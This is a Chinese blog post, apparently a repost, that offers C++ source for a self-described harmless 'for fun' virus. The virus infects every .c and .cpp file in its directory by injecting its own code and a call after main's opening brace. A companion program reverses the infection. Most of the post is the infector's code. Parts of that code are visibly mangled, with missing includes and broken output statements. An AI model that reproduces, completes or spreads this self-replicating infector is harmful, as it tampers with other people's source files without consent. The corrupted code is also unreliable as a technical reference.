C++病毒——感染C/C++源文件
发布日期:2022-03-04 11:48:31
浏览次数:6
分类:技术文章
本文共 3018 字,大约阅读时间需要 10 分钟。
只是一个仅供娱乐的C++病毒,并不会对计算机造成损害,但会感染病毒当前目录里的除相应杀毒程序外的所有.c和.cpp格式的源文件,不过如果是没有主函数的源文件病毒就对其没有作用。
病毒的作用如下:运行病毒后将感染当前目录里的所有.c和.cpp文件,使之源码受到改变,但不会改变目录里对应的杀毒程序。而运行杀毒程序后,将还原所有被改变的源码,但会改变病毒源码。
请谨慎使用。
代码如下——
病毒代码:
//病毒代码#include#include #include #include using namespace std;void vir(){ string CurFileName = __FILE__;//绝对路径string obCurFileName //相对路径 = CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1); WIN32_FIND_DATA FindFileData;HANDLE hFind = FindFirstFile("*.c*", &FindFileData);string VirusCode[100];//病毒代码 string FileCode[500]; //宿主代码int CodeLen = 0;//病毒代码长度int FileLen = 0;//宿主代码长度 //病毒函数调用应当插在"main("后面的第一个"{"后面 //在C++中main有int main(),int main(int arg,char **r)等形式 int InsertLoc = 0; //提取待传播的当前文件中的病毒代码 ifstream VirusFile(obCurFileName.c_str()); for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++){ if(VirusCode[CodeLen] == "//END") { CodeLen++; break; }}VirusFile.close();//依次感染宿主文件 while (true) { //不能感染当前.cpp文件和已感染的文件 if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0) { cout< <<":是感染源!/n"; } else//感染其它文件 { //加载宿主文件 ifstream ibe(FindFileData.cFileName); for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++) { if (FileCode[FileLen].find("main") != -1) { InsertLoc = FileLen; } } ibe.close(); if(FileCode[0] == "//START")//该文件已被感染 { cout< <<":已携带了病毒!/n"; } else if (FileLen > 500) { cout< <<":文件太大了!/n"; } else { //打开宿主文件 ofstream be(FindFileData.cFileName); //插入病毒代码 for(int i = 0;i < CodeLen;i++) { be< < < InsertLoc;i++) { be< < < FileLen;i++) { int j = FileCode[i].find('{'); if(j != -1) { FileCode[i].insert(j + 1,"/nvir();"); break; } } //病毒函数调用位置后插入剩余文本 for(int i = InsertLoc;i < FileLen;i++) { be< <
杀毒程序代码
//杀毒程序代码#include#include #include #include #include using namespace std;void revir(){ WIN32_FIND_DATA FindFileData;HANDLE hFind = FindFirstFile("*.c*", &FindFileData);string FileCode[500];//病毒函数调用应当插在"main"后面的第一个"{"后面 //在C++中main有int main(),int main(int arg,char **r)等形式//依次清除宿主文件 while (true) { //加载文件 int FileLen = 0; //宿主代码长度 int MainLoc = 0; //主函数位置 ifstream ibe(FindFileData.cFileName); getline(ibe,FileCode[0]); if(FileCode[0] == "//START")//当前文件被感染过 { //病毒代码要过虑掉 for(FileLen = 0;getline(ibe,FileCode[0]);) { if(FileCode[FileLen] == "//END") { break; } } //宿主未感染前的代码 for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++) { if(FileCode[FileLen].find("main") != -1) { MainLoc = FileLen; } } //清除主文件中的函数调用 for (int i = MainLoc;i < FileLen;i++) { if(FileCode[i].find('{') != -1) { FileCode[i + 1] = ""; break; } } ibe.close(); ofstream be(FindFileData.cFileName); for(int i = 0;i < FileLen;i++) { be< <
创作不易,喜欢的请点个赞吧,如果有什么问题可以在下面评论或者私信我哦!
转载地址:https://blog.csdn.net/xxzcool/article/details/120079478 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!
发表评论
最新留言
很好
[***.229.124.182]2024年04月21日 07时20分20秒
关于作者
喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
树莓派硬件启动失败log记录查看方法
2019-04-27
树莓派使用心得
2019-04-27
树莓派实现无显示器远程登录
2019-04-27
Samba服务实现树莓派与Windows之间的文件共享
2019-04-27
wiringpi安装编译问题解决
2019-04-27
Windows上创建Emacs配置文件
2019-04-27
编写并运行第一个Lisp程序
2019-04-27
VS code中godoc命令不可用问题解决
2019-04-27
Emacs-103-使用spacemacs自带配置显示行号
2019-04-27
021_Excel的条件格式
2019-04-27
022_Excel空白值批量填充默认值
2019-04-27
023_emacs git-gutter+报错解决
2019-04-27
024_spacemacs支持org-pomodoro的声音提示
2019-04-27
025_everything搜索使用体验
2019-04-27
026_好用的windows小工具clover
2019-04-27
027-Mac触摸板实现窗口移动
2019-04-27
028_AUTOSAR RTE学习笔记-1
2019-04-27
029_AUTOSAR VFB学习笔记-2
2019-04-27
030_AUTOSAR软件组件学习笔记
2019-04-27
031_AUTOSAR学习笔记_BSW
2019-04-27